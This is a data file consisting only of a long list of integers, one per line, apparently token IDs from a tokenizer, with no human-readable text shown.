1614,
320,
343,
461,
556,
1618,
58,
53,
53,
14275,
45,
444,
312,
310,
339,
2385,
327,
25894,
503,
46,
320,
343,
1440,
327,
10087,
5519,
1002,
46,
909,
14149,
5519,
1002,
45,
419,
503,
51,
7724,
4269,
1683,
19198,
45,
106,
312,
310,
339,
303,
339,
465,
648,
3124,
365,
320,
310,
461,
244,
55,
494,
655,
51,
1340,
64,
303,
339,
465,
782,
3256,
45,
37110,
1529,
1880,
1716,
46,
2589,
6300,
320,
310,
1716,
51,
543,
3656,
54,
59,
45,
444,
312,
303,
339,
465,
782,
1489,
45,
4026,
1880,
1716,
46,
2589,
6300,
320,
310,
1618,
58,
53,
53,
14275,
16839,
299,
556,
1618,
58,
53,
53,
14275,
45,
444,
312,
310,
1716,
51,
3962,
10379,
39,
494,
16839,
51,
3127,
365,
494,
9143,
742,
303,
339,
222,
130,
222,
222,
1127,
222,
338,
22596,
1123,
2437,
28325,
1120,
35534,
222,
338,
222,
338,
6235,
10666,
13600,
1648,
7676,
12469,
391,
21280,
21979,
222,
338,
347,
6940,
49,
1493,
477,
1492,
51,
222,
338,
222,
338,
9158,
290,
391,
16819,
244,
54,
51,
55,
49,
341,
5213,
451,
341,
1492,
458,
3433,
641,
63,
222,
338,
281,
1689,
320,
222,
338,
282,
5680,
9546,
638,
10286,
100,
2529,
65,
54,
516,
55,
99,
61,
50,
54,
4822,
222,
338,
282,
493,
7981,
122,
3359,
577,
10286,
100,
2133,
2130,
65,
53,
516,
55,
99,
54,
59,
50,
54,
4822,
222,
338,
281,
339,
22596,
1123,
64,
222,
338,
222,
338,
719,
16819,
244,
54,
51,
55,
49,
341,
5213,
458,
5386,
391,
63,
222,
338,
281,
1689,
320,
222,
338,
282,
5680,
9546,
638,
10286,
100,
2529,
65,
54,
516,
55,
99,
61,
50,
54,
4822,
222,
338,
282,
19766,
2199,
2899,
10462,
222,
338,
2281,
5430,
100,
9588,
100,
15097,
65,
55,
99,
54,
59,
50,
54,
4822,
222,
338,
282,
493,
7981,
122,
3359,
577,
10286,
100,
2133,
2130,
65,
53,
516,
55,
99,
54,
59,
50,
54,
4822,
222,
338,
281,
339,
22596,
1123,
64,
222,
338,
222,
588,
222,
1592,
1175,
222,
842,
22596,
1123,
2041,
17414,
14915,
1193,
222,
128,
303,
453,
3858,
5680,
9546,
638,
303,
924,
1175,
648,
280,
300,
307,
100,
20528,
100,
1352,
299,
244,
54,
64,
303,
924,
1175,
648,
280,
300,
307,
100,
105,
441,
100,
1352,
299,
244,
55,
64,
303,
924,
1175,
648,
280,
300,
307,
100,
20528,
100,
8653,
100,
11521,
299,
244,
56,
64,
303,
924,
1175,
648,
280,
300,
307,
100,
105,
441,
100,
8653,
100,
11521,
299,
244,
57,
64,
465,
453,
906,
2325,
743,
451,
3301,
3161,
2102,
458,
331,
4845,
347,
341,
14149,
14224,
51,
303,
453,
11241,
904,
7162,
1674,
347,
341,
7088,
51,
303,
924,
1175,
648,
280,
300,
307,
100,
20528,
100,
950,
34368,
100,
11521,
299,
244,
58,
64,
303,
924,
1175,
648,
280,
300,
307,
100,
105,
441,
100,
950,
34368,
100,
11521,
299,
244,
59,
64,
465,
453,
8674,
21611,
244,
57,
57,
62,
55,
327,
32891,
46,
303,
924,
1175,
648,
283,
300,
307,
100,
27665,
2473,
100,
1352,
981,
299,
244,
59,
57,
64,
303,
924,
1175,
648,
283,
300,
307,
100,
20528,
100,
8653,
100,
754,
11521,
280,
299,
244,
59,
58,
64,
303,
924,
1175,
648,
283,
300,
307,
100,
27665,
2473,
100,
8653,
100,
754,
11521,
299,
244,
59,
59,
64,
465,
964,
1175,
924,
3447,
1197,
37020,
11702,
100,
2593,
100,
32891,
299,
320,
300,
307,
100,
20528,
100,
1352,
49,
300,
307,
100,
105,
441,
100,
1352,
1487,
303,
964,
1175,
924,
3447,
1197,
37020,
11702,
100,
32891,
299,
310,
320,
300,
307,
100,
20528,
100,
1352,
49,
300,
307,
100,
105,
441,
100,
1352,
49,
300,
307,
100,
27665,
2473,
100,
1352,
1487,
465,
3447,
2087,
3756,
4327,
3403,
453,
244,
54,
391,
244,
55,
58,
58,
3756,
303,
493,
7981,
122,
3359,
577,
280,
4096,
2130,
4327,
282,
453,
244,
56,
391,
244,
55,
99,
54,
59,
449,
244,
54,
310,
453,
2437,
332,
56,
39,
3318,
708,
1200,
341,
29134,
493,
546,
50,
12631,
1618,
58,
53,
53,
493,
83,
465,
453,
7088,
1522,
4019,
27468,
1493,
477,
22596,
1123,
1492,
303,
15653,
2080,
7088,
2080,
64,
465,
453,
5430,
100,
9588,
100,
15097,
456,
16819,
244,
54,
51,
55,
575,
6146,
303,
964,
7380,
65,
7790,
2199,
2899,
10462,
67,
17299,
64,
465,
453,
3124,
451,
5430,
100,
9588,
100,
15097,
303,
964,
648,
17299,
5752,
64,
465,
22596,
1123,
45,
93,
58,
53,
62,
9546,
7462,
10022,
3907,
11900,
1221,
11900,
49,
343,
7380,
65,
7790,
2199,
2899,
10462,
67,
2613,
1523,
5399,
49,
343,
15653,
2080,
7088,
2080,
46,
2589,
6300,
320,
603,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
603,
453,
5198,
813,
1618,
58,
53,
53,
14275,
310,
4096,
2130,
299,
556,
493,
7981,
122,
3359,
577,
96,
1192,
51,
1340,
988,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
7462,
51,
1340,
64,
613,
2002,
320,
343,
1618,
58,
53,
53,
14275,
837,
58,
53,
53,
14275,
299,
7462,
96,
110,
1015,
390,
8273,
93,
58,
53,
53,
14275,
492,
343,
4096,
2130,
96,
110,
98,
299,
556,
493,
7981,
122,
3359,
577,
45,
125,
58,
53,
53,
14275,
312,
310,
339,
310,
453,
1019,
2208,
29954,
49,
493,
1725,
49,
480,
535,
4778,
3569,
2060,
9162,
480,
2974,
310,
453,
902,
545,
1674,
642,
1187,
35609,
502,
122,
4160,
51,
1691,
477,
3417,
49,
341,
1361,
310,
453,
5669,
391,
545,
39251,
391,
4843,
1221,
11900,
2012,
3513,
51,
310,
453,
2726,
1773,
1343,
535,
4778,
3569,
2060,
3813,
434,
1019,
1178,
535,
2218,
14547,
3322,
51,
310,
477,
51,
2529,
299,
990,
19907,
79,
388,
51,
316,
24292,
8590,
365,
1037,
37020,
11702,
100,
32891,
518,
37020,
11702,
100,
2593,
100,
32891,
64,
603,
453,
4443,
5430,
100,
9588,
100,
15097,
456,
16819,
244,
54,
51,
55,
575,
6146,
51,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
434,
327,
1352,
1523,
5399,
630,
762,
1293,
2613,
1523,
5399,
51,
6401,
1177,
320,
419,
1440,
556,
14149,
5519,
1002,
45,
733,
332,
2042,
5430,
8214,
17299,
742,
343,
339,
1083,
17299,
299,
556,
5068,
65,
7790,
2199,
2899,
10462,
1579,
1352,
1523,
5399,
312,
343,
17299,
5752,
299,
419,
19766,
2199,
2899,
10462,
51,
911,
402,
3171,
365,
338,
17299,
51,
911,
492,
310,
339,
832,
320,
343,
17299,
299,
556,
5068,
65,
7790,
2199,
2899,
10462,
2938,
343,
17299,
5752,
299,
244,
53,
64,
310,
339,
303,
339,
465,
22596,
1123,
45,
37110,
402,
1880,
1533,
49,
343,
15653,
2080,
7088,
2080,
46,
2589,
6300,
320,
603,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
603,
453,
4858,
341,
10286,
100,
2529,
51,
310,
3756,
299,
1533,
51,
19682,
61,
492,
603,
453,
4858,
341,
5430,
100,
9588,
100,
15097,
456,
16819,
244,
54,
51,
55,
575,
6146,
51,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
17299,
5752,
299,
1533,
51,
15384,
54,
59,
492,
343,
434,
327,
15097,
5752,
350,
244,
55,
46,
320,
419,
1440,
556,
14149,
5519,
1002,
45,
733,
332,
3828,
5430,
100,
9588,
100,
15097,
1620,
742,
343,
339,
1083,
17299,
299,
556,
5068,
65,
7790,
2199,
2899,
10462,
2938,
343,
648,
25883,
299,
17299,
5752,
64,
343,
648,
6645,
299,
244,
53,
64,
343,
2236,
327,
13873,
120,
868,
244,
54,
46,
320,
283,
453,
5669,
840,
6247,
3161,
3534,
419,
648,
3696,
299,
1533,
51,
15384,
61,
492,
282,
453,
3696,
8274,
419,
648,
8214,
299,
1533,
51,
15384,
61,
492,
283,
453,
8214,
8274,
2125,
19766,
2199,
2899,
10462,
8274,
299,
547,
19766,
2199,
2899,
10462,
51,
9169,
45,
2905,
49,
8214,
49,
13793,
3323,
7543,
312,
419,
17299,
51,
688,
45,
12145,
312,
419,
25883,
5928,
244,
55,
64,
244,
453,
1611,
3447,
456,
3696,
49,
1611,
3447,
456,
8214,
343,
339,
1083,
434,
327,
13873,
120,
882,
244,
53,
46,
320,
419,
1440,
556,
14149,
5519,
1002,
45,
733,
332,
3828,
5430,
100,
9588,
100,
15097,
1620,
742,
343,
339,
310,
339,
832,
320,
343,
17299,
299,
556,
5068,
65,
7790,
2199,
2899,
10462,
2938,
343,
17299,
5752,
299,
244,
53,
64,
310,
339,
603,
453,
1511,
341,
10286,
100,
2133,
2130,
310,
648,
2095,
299,
1533,
51,
15384,
54,
59,
492,
310,
5068,
65,
4510,
19645,
3359,
577,
67,
373,
299,
556,
5068,
6984,
310,
2236,
327,
1688,
2394,
244,
56,
46,
320,
343,
493,
7981,
122,
3359,
577,
29751,
299,
556,
493,
7981,
122,
3359,
577,
45,
1151,
312,
343,
373,
51,
688,
45,
6156,
312,
343,
2095,
5928,
29751,
51,
1340,
492,
310,
339,
603,
434,
327,
1688,
882,
244,
53,
46,
320,
343,
1440,
556,
14149,
5519,
1002,
459,
8421,
22596,
1123,
493,
83,
3124,
742,
310,
339,
603,
4096,
2130,
299,
373,
51,
14315,
45,
909,
493,
7981,
122,
3359,
577,
96,
123,
51,
911,
36584,
303,
339,
465,
1618,
58,
53,
53,
14275,
1197,
640,
4372,
2130,
365,
2589,
6300,
320,
310,
1618,
58,
53,
53,
14275,
1197,
2170,
299,
556,
1618,
58,
53,
53,
14275,
96,
2133,
2130,
51,
1340,
988,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4096,
2130,
51,
1340,
64,
613,
2002,
320,
343,
2170,
96,
110,
98,
299,
4096,
2130,
96,
110,
1015,
18807,
58,
53,
53,
14275,
492,
310,
339,
310,
461,
2170,
64,
303,
339,
465,
7380,
65,
7790,
2199,
2899,
10462,
67,
640,
3399,
30627,
365,
320,
310,
461,
17299,
64,
303,
339,
465,
496,
1806,
303,
648,
1492,
638,
365,
320,
310,
461,
13670,
100,
15311,
100,
1375,
64,
303,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
320,
310,
648,
2095,
299,
244,
54,
494,
3756,
51,
1340,
494,
244,
55,
64,
603,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
2095,
1475,
17299,
5752,
494,
244,
55,
64,
310,
339,
603,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4096,
2130,
51,
1340,
64,
613,
2002,
320,
343,
2095,
1475,
4096,
2130,
96,
110,
1015,
1340,
492,
310,
339,
603,
461,
2095,
64,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
1716,
46,
2589,
6300,
320,
310,
453,
4180,
10286,
100,
2529,
310,
1716,
51,
543,
3656,
61,
45,
2529,
312,
603,
453,
4180,
5430,
100,
9588,
100,
15097,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
1716,
51,
543,
1438,
54,
59,
45,
15097,
5752,
312,
343,
456,
327,
7790,
2199,
2899,
10462,
8274,
518,
17299,
46,
320,
419,
1716,
51,
543,
1438,
61,
45,
12145,
51,
390,
2899,
899,
1052,
665,
453,
3696,
419,
1716,
51,
543,
1438,
61,
45,
12145,
51,
390,
7790,
899,
1052,
453,
8214,
343,
339,
310,
339,
603,
453,
4180,
10286,
100,
2133,
2130,
310,
648,
2095,
299,
244,
53,
64,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4096,
2130,
51,
1340,
64,
613,
2002,
320,
343,
2095,
1475,
4096,
2130,
96,
110,
1015,
1340,
492,
310,
339,
603,
1716,
51,
543,
1438,
54,
59,
45,
1688,
312,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4096,
2130,
51,
1340,
64,
613,
2002,
320,
343,
4096,
2130,
96,
110,
1015,
2729,
45,
2051,
312,
310,
339,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
3962,
459,
8150,
22596,
1123,
742,
603,
434,
327,
2824,
882,
762,
979,
8093,
51,
316,
1501,
459,
10563,
2152,
320,
343,
328,
51,
1243,
459,
9625,
13413,
63,
7173,
343,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
3756,
51,
1340,
64,
613,
2002,
320,
419,
3593,
327,
2529,
96,
110,
1156,
320,
1764,
1152,
300,
307,
100,
20528,
100,
1352,
63,
547,
328,
51,
1243,
459,
20213,
742,
1644,
64,
1764,
1152,
300,
307,
100,
105,
441,
100,
1352,
63,
547,
328,
51,
1243,
459,
73,
1725,
742,
1644,
64,
1764,
1152,
300,
307,
100,
20528,
100,
8653,
100,
11521,
63,
547,
328,
51,
1243,
459,
8223,
32603,
327,
20213,
6980,
13365,
1644,
64,
1764,
1152,
300,
307,
100,
105,
441,
100,
8653,
100,
11521,
63,
547,
328,
51,
1243,
459,
8223,
32603,
327,
73,
1725,
6980,
13365,
1644,
64,
1764,
1152,
300,
307,
100,
20528,
100,
950,
34368,
100,
11521,
63,
547,
328,
51,
1243,
459,
16180,
34368,
32603,
327,
20213,
6980,
13365,
1644,
64,
1764,
1152,
300,
307,
100,
105,
441,
100,
950,
34368,
100,
11521,
63,
547,
328,
51,
1243,
459,
16180,
34368,
32603,
327,
73,
1725,
6980,
13365,
1644,
64,
1764,
1152,
300,
307,
100,
27665,
2473,
100,
1352,
63,
547,
328,
51,
1243,
459,
30960,
3569,
742,
1644,
64,
1764,
1152,
300,
307,
100,
20528,
100,
8653,
100,
754,
11521,
63,
547,
328,
51,
1243,
459,
8223,
535,
4778,
77,
327,
20213,
6980,
13365,
1644,
64,
1764,
1152,
300,
307,
100,
27665,
2473,
100,
8653,
100,
754,
11521,
63,
547,
328,
51,
1243,
459,
8223,
535,
4778,
77,
327,
30960,
3569,
6980,
13365,
1644,
64,
1764,
1263,
63,
547,
328,
51,
1243,
459,
638,
22441,
494,
327,
2529,
96,
110,
98,
568,
244,
53,
3144,
894,
1644,
64,
419,
339,
419,
434,
327,
110,
882,
3756,
51,
1340,
449,
244,
54,
46,
320,
547,
328,
51,
1243,
10803,
7173,
419,
339,
343,
339,
343,
328,
51,
3962,
492,
1083,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
419,
21917,
3129,
299,
556,
21917,
492,
419,
1922,
13192,
299,
920,
64,
419,
456,
327,
7790,
2199,
2899,
10462,
2613,
32444,
518,
17299,
46,
320,
547,
434,
327,
27781,
46,
320,
733,
3129,
51,
1713,
10803,
332,
494,
2613,
32444,
51,
390,
10462,
577,
1052,
547,
339,
832,
320,
733,
3129,
51,
1713,
45,
1352,
32444,
51,
390,
10462,
577,
1052,
733,
13192,
299,
878,
64,
547,
339,
419,
339,
419,
328,
51,
3962,
459,
10330,
19766,
45137,
63,
332,
494,
3129,
312,
343,
339,
1083,
328,
51,
3962,
459,
9625,
6265,
2130,
20120,
343,
434,
327,
2133,
2130,
51,
1340,
630,
244,
53,
46,
320,
419,
328,
51,
3962,
10379,
2779,
13510,
343,
339,
832,
320,
419,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4096,
2130,
51,
1340,
64,
613,
2002,
320,
547,
4096,
2130,
96,
110,
1015,
1243,
45,
120,
312,
419,
339,
343,
339,
310,
339,
303,
339,
222,
130,
499,
222,
1127,
222,
338,
4242,
8302,
9114,
2437,
28325,
1120,
35534,
222,
338,
222,
338,
5094,
2160,
1200,
3412,
11927,
2840,
5231,
347,
1808,
391,
341,
2060,
1200,
222,
338,
332,
7670,
39,
327,
106,
51,
108,
51,
2840,
4387,
17966,
49,
10286,
49,
1221,
15053,
1492,
49,
19367,
222,
338,
2060,
10286,
1343,
46,
580,
18613,
477,
1492,
391,
4666,
708,
580,
1200,
222,
338,
3412,
708,
1760,
451,
341,
31068,
51,
222,
588,
222,
1592,
1175,
222,
842,
4242,
8302,
9114,
2041,
17414,
14915,
1193,
222,
128,
303,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
1805,
100,
7670,
100,
5099,
64,
339,
465,
4242,
8302,
9114,
365,
320,
339,
465,
4242,
8302,
9114,
45,
37110,
402,
1880,
1533,
46,
303,
320,
310,
453,
7572,
391,
764,
303,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
303,
320,
310,
461,
244,
53,
64,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
303,
320,
310,
453,
7572,
391,
3256,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
303,
320,
310,
328,
51,
3962,
459,
8150,
4242,
8302,
9114,
742,
303,
339,
222,
130,
499,
222,
1127,
222,
338,
22596,
10574,
2437,
35534,
1120,
28325,
222,
338,
222,
338,
17422,
2703,
2060,
18613,
8214,
50,
3647,
463,
25174,
327,
106,
51,
108,
51,
666,
222,
338,
21880,
1093,
50,
77,
1042,
1607,
46,
391,
6152,
51,
222,
588,
222,
1592,
1175,
462,
22596,
10574,
2041,
17414,
14915,
1193,
320,
465,
453,
341,
8214,
3534,
303,
964,
3447,
1197,
8214,
64,
465,
453,
7088,
1522,
4019,
27468,
1493,
477,
4242,
971,
11900,
1492,
303,
15653,
2080,
7088,
2080,
64,
465,
453,
341,
14252,
463,
8214,
8274,
1674,
829,
477,
22596,
10574,
1492,
303,
964,
19766,
2199,
2899,
10462,
14252,
463,
7790,
10462,
299,
762,
64,
465,
1276,
294,
338,
2673,
619,
29954,
575,
493,
3569,
11289,
10286,
6152,
1492,
51,
294,
588,
303,
22596,
10574,
45,
5519,
2080,
7088,
2080,
49,
343,
17414,
14915,
2899,
31068,
2899,
49,
12406,
971,
39483,
49,
343,
20746,
971,
6534,
7795,
49,
25525,
6124,
17308,
49,
343,
19766,
2199,
2899,
10462,
2613,
10462,
46,
343,
2589,
6153,
5196,
1002,
320,
603,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
603,
910,
8274,
299,
39483,
51,
390,
10462,
492,
310,
19766,
6980,
299,
762,
64,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
477,
51,
28916,
463,
7790,
10462,
299,
2613,
10462,
64,
343,
6980,
299,
990,
19907,
79,
388,
51,
390,
7790,
45,
1352,
10462,
51,
390,
10462,
577,
1052,
310,
339,
832,
320,
343,
6980,
299,
640,
7790,
45,
5732,
2080,
49,
8274,
312,
310,
339,
310,
6980,
51,
1683,
3399,
45,
36878,
49,
17308,
312,
310,
1991,
7790,
45,
5037,
49,
7088,
2080,
49,
31068,
2899,
49,
8274,
49,
733,
6534,
7795,
312,
310,
8214,
299,
6980,
51,
1352,
492,
303,
339,
465,
453,
303,
453,
28686,
341,
11289,
727,
664,
341,
1533,
3458,
51,
303,
453,
303,
22596,
10574,
45,
37110,
402,
1880,
1533,
49,
343,
7380,
65,
7790,
2199,
2899,
10462,
67,
2212,
10330,
3399,
1523,
5399,
49,
343,
15653,
2080,
7088,
2080,
46,
2589,
6300,
244,
320,
603,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
603,
453,
1511,
341,
8214,
480,
3696,
8274,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
648,
3696,
32444,
299,
1533,
51,
15384,
61,
492,
282,
453,
3696,
8274,
343,
648,
2613,
32444,
299,
1533,
51,
15384,
61,
492,
282,
453,
8214,
8274,
1083,
14252,
463,
7790,
10462,
299,
419,
19766,
2199,
2899,
10462,
51,
9169,
45,
2905,
32444,
49,
2613,
32444,
49,
244,
53,
312,
1083,
453,
3626,
580,
331,
2212,
5430,
8214,
8274,
68,
343,
434,
1445,
1717,
10330,
3399,
1523,
5399,
51,
4766,
45,
547,
14252,
463,
7790,
10462,
509,
320,
419,
1440,
556,
14149,
37110,
1002,
45,
733,
332,
16737,
19766,
2199,
2899,
10462,
347,
332,
494,
733,
332,
2077,
971,
11900,
1492,
742,
343,
339,
310,
339,
603,
453,
1511,
341,
8214,
310,
8214,
299,
1533,
51,
19682,
54,
59,
492,
303,
339,
465,
1276,
294,
338,
1408,
341,
14252,
463,
8214,
8274,
1674,
829,
477,
1492,
294,
588,
303,
19766,
2199,
2899,
10462,
640,
45157,
463,
7790,
10462,
365,
320,
310,
461,
14252,
463,
7790,
10462,
64,
303,
339,
465,
1276,
294,
338,
12082,
331,
10286,
6152,
1492,
51,
2762,
341,
1074,
451,
18217,
49,
294,
338,
434,
2038,
458,
331,
3732,
1440,
331,
6153,
5196,
1002,
51,
294,
588,
303,
1922,
6152,
45,
5519,
2080,
7088,
2080,
49,
343,
17414,
14915,
2899,
31068,
2899,
49,
35133,
36251,
49,
343,
20746,
971,
6534,
7795,
46,
2589,
6153,
5196,
1002,
320,
310,
910,
8274,
299,
36251,
51,
390,
10462,
492,
310,
19766,
6980,
299,
762,
64,
310,
434,
327,
5732,
2080,
51,
123,
2394,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
343,
6980,
299,
990,
19907,
79,
388,
51,
390,
7790,
45,
733,
14252,
463,
7790,
10462,
51,
390,
10462,
577,
1052,
310,
339,
832,
320,
343,
6980,
299,
640,
7790,
45,
5732,
2080,
49,
8274,
312,
310,
339,
310,
6980,
51,
1683,
10574,
45,
29956,
312,
310,
1991,
7790,
45,
5037,
49,
7088,
2080,
49,
31068,
2899,
49,
8274,
49,
733,
6534,
7795,
312,
310,
461,
6980,
51,
6970,
45,
9588,
312,
303,
339,
465,
1276,
294,
338,
1408,
341,
19766,
1319,
9150,
456,
18217,
1493,
341,
294,
338,
2716,
8214,
8274,
480,
7088,
1522,
51,
294,
588,
303,
964,
924,
19766,
640,
7790,
45,
5519,
2080,
7088,
2080,
49,
343,
910,
8274,
46,
2589,
6153,
5196,
1002,
320,
343,
3593,
327,
12145,
46,
320,
419,
1152,
332,
20213,
582,
547,
461,
28774,
1117,
646,
1190,
51,
390,
4305,
1825,
492,
419,
1152,
332,
73,
3569,
582,
547,
461,
990,
19907,
79,
388,
51,
390,
7790,
45,
10552,
296,
79,
388,
51,
36071,
100,
20373,
73,
3569,
312,
419,
1152,
332,
6147,
582,
547,
461,
990,
19907,
79,
388,
51,
390,
7790,
45,
10552,
296,
79,
388,
51,
36071,
100,
12257,
4656,
4778,
3569,
312,
419,
1263,
63,
547,
1440,
556,
19766,
1002,
459,
41854,
8274,
63,
332,
733,
494,
8274,
312,
343,
339,
303,
339,
465,
1276,
294,
338,
4013,
341,
19766,
642,
341,
727,
9150,
456,
341,
2716,
294,
338,
8214,
8274,
480,
7088,
1522,
1278,
708,
341,
1319,
458,
294,
338,
8768,
456,
23103,
575,
6152,
318,
51,
294,
588,
303,
964,
924,
782,
1991,
7790,
45,
7790,
6980,
49,
343,
15653,
2080,
7088,
2080,
49,
343,
17414,
14915,
2899,
31068,
2899,
49,
910,
8274,
49,
20746,
971,
6534,
971,
46,
343,
2589,
19766,
1002,
320,
603,
434,
327,
12145,
51,
3591,
459,
20213,
2152,
320,
343,
434,
327,
5732,
2080,
51,
123,
350,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
453,
16819,
54,
51,
54,
50,
419,
4587,
15087,
8745,
58,
11533,
299,
31068,
2899,
51,
390,
5121,
58,
11533,
492,
419,
4587,
15087,
9635,
11533,
299,
31068,
2899,
51,
390,
2526,
1205,
113,
677,
492,
2125,
434,
327,
5732,
2080,
51,
123,
350,
15653,
2080,
51,
15156,
54,
53,
51,
123,
46,
320,
453,
14149,
123,
56,
547,
1991,
15087,
45,
973,
58,
11533,
49,
19152,
58,
100,
6151,
54,
49,
19152,
58,
100,
6151,
55,
49,
6534,
971,
312,
547,
1991,
15087,
45,
5578,
11533,
49,
11856,
100,
6151,
54,
49,
11856,
100,
6151,
55,
49,
6534,
971,
312,
419,
339,
2125,
453,
906,
8214,
2315,
545,
619,
1998,
451,
28774,
1117,
646,
1190,
49,
1868,
419,
453,
391,
813,
3301,
27708,
7045,
51,
419,
28774,
1117,
646,
1190,
51,
489,
34585,
45,
5037,
49,
8745,
58,
11533,
49,
9635,
11533,
312,
343,
339,
832,
320,
244,
453,
16819,
54,
51,
55,
48,
419,
6980,
51,
1896,
45,
40063,
2899,
51,
13912,
37110,
6389,
1052,
343,
339,
310,
339,
832,
320,
453,
493,
3569,
49,
535,
4778,
3569,
343,
434,
327,
5732,
2080,
51,
123,
350,
15653,
2080,
51,
15156,
54,
55,
51,
123,
46,
320,
453,
16819,
54,
51,
54,
50,
419,
4587,
15087,
9635,
11533,
299,
31068,
2899,
51,
390,
2526,
1205,
113,
677,
492,
2125,
434,
327,
5732,
2080,
51,
123,
350,
15653,
2080,
51,
15156,
54,
53,
51,
123,
46,
320,
453,
14149,
123,
56,
547,
1991,
15087,
45,
5578,
11533,
49,
11856,
100,
6151,
54,
49,
11856,
100,
6151,
55,
49,
6534,
971,
312,
419,
339,
2125,
6980,
51,
1896,
45,
5578,
11533,
51,
13997,
1052,
343,
339,
832,
320,
244,
453,
16819,
54,
51,
55,
48,
419,
6980,
51,
1896,
45,
40063,
2899,
51,
13912,
37110,
6389,
1052,
343,
339,
310,
339,
303,
339,
465,
1276,
294,
338,
4013,
341,
4587,
15087,
456,
14149,
123,
56,
10286,
6152,
575,
11285,
294,
338,
1492,
17751,
51,
906,
19264,
2315,
3443,
1178,
2602,
4478,
642,
294,
338,
1187,
46079,
31068,
5231,
51,
294,
338,
12785,
829,
341,
43089,
462,
641,
4509,
51,
294,
588,
303,
964,
924,
782,
1991,
15087,
45,
1193,
15087,
8745,
49,
343,
3447,
1197,
9841,
54,
49,
3447,
1197,
9841,
55,
49,
343,
20746,
971,
6534,
7795,
46,
320,
310,
453,
36219,
341,
1221,
3534,
434,
3322,
51,
310,
453,
12783,
327,
29252,
1221,
490,
1614,
19264,
318,
341,
1221,
7045,
51,
310,
453,
8080,
458,
5937,
1773,
7613,
347,
21437,
36240,
54,
54,
1493,
331,
964,
310,
453,
26138,
2347,
49,
1278,
1019,
7373,
708,
434,
4222,
51,
310,
3447,
1197,
1221,
3656,
299,
332,
20373,
2316,
3591,
45,
2611,
7795,
51,
390,
2222,
1177,
733,
1037,
6534,
7795,
51,
390,
18037,
365,
518,
762,
64,
310,
434,
327,
697,
3656,
882,
762,
46,
320,
343,
8745,
51,
1896,
45,
697,
3656,
312,
310,
339,
832,
320,
343,
19264,
971,
45,
973,
49,
6534,
7795,
312,
310,
339,
310,
8745,
51,
1896,
45,
6151,
54,
312,
310,
3447,
1197,
1798,
299,
8745,
51,
13997,
492,
603,
434,
327,
697,
3656,
882,
762,
46,
320,
343,
8745,
51,
1896,
45,
697,
3656,
312,
310,
339,
832,
320,
343,
19264,
971,
45,
973,
49,
6534,
7795,
312,
310,
339,
310,
8745,
51,
1896,
45,
6151,
55,
312,
310,
8745,
51,
1896,
45,
1452,
312,
303,
339,
465,
964,
1175,
924,
1727,
11667,
11164,
64,
303,
964,
1175,
924,
5697,
22229,
1195,
64,
465,
924,
320,
310,
1614,
320,
343,
11164,
299,
1727,
51,
31918,
459,
1874,
51,
4386,
51,
1193,
15087,
41,
8013,
742,
343,
22229,
1195,
299,
11164,
51,
36823,
1195,
459,
13997,
32701,
742,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
1440,
556,
13383,
459,
12396,
3818,
411,
503,
312,
310,
339,
310,
1949,
20803,
45,
10787,
1195,
312,
303,
339,
465,
964,
924,
782,
1949,
20803,
45,
3242,
8275,
1497,
976,
356,
46,
320,
310,
8275,
1934,
51,
1428,
12023,
26835,
45,
909,
27109,
26835,
1728,
65,
976,
6939,
320,
343,
496,
1806,
343,
581,
2210,
1441,
365,
320,
419,
356,
51,
45167,
45,
1527,
312,
419,
461,
762,
64,
343,
339,
310,
1141,
303,
339,
465,
453,
22219,
8263,
1976,
666,
2625,
762,
2102,
49,
813,
477,
10091,
1319,
303,
964,
1175,
924,
2210,
1199,
100,
8469,
299,
556,
2210,
492,
465,
453,
3337,
5409,
4706,
1313,
377,
1314,
462,
303,
453,
5857,
708,
477,
1118,
9457,
341,
377,
1314,
6052,
664,
4019,
19366,
5456,
51,
2726,
10039,
303,
453,
708,
458,
666,
331,
3732,
51,
303,
964,
1175,
924,
3531,
65,
1359,
1907,
2731,
976,
67,
1431,
2610,
299,
2493,
556,
22219,
8263,
6984,
465,
964,
924,
782,
19264,
971,
45,
1193,
15087,
8745,
49,
20746,
971,
1221,
46,
320,
310,
1614,
320,
343,
453,
12082,
708,
8745,
458,
7613,
4745,
4587,
15087,
32701,
49,
666,
343,
453,
4745,
33047,
244,
54,
51,
54,
1435,
4587,
15087,
22964,
318,
51,
343,
434,
327,
973,
51,
9699,
365,
882,
11164,
46,
320,
419,
1440,
556,
3284,
459,
15087,
458,
666,
331,
4587,
15087,
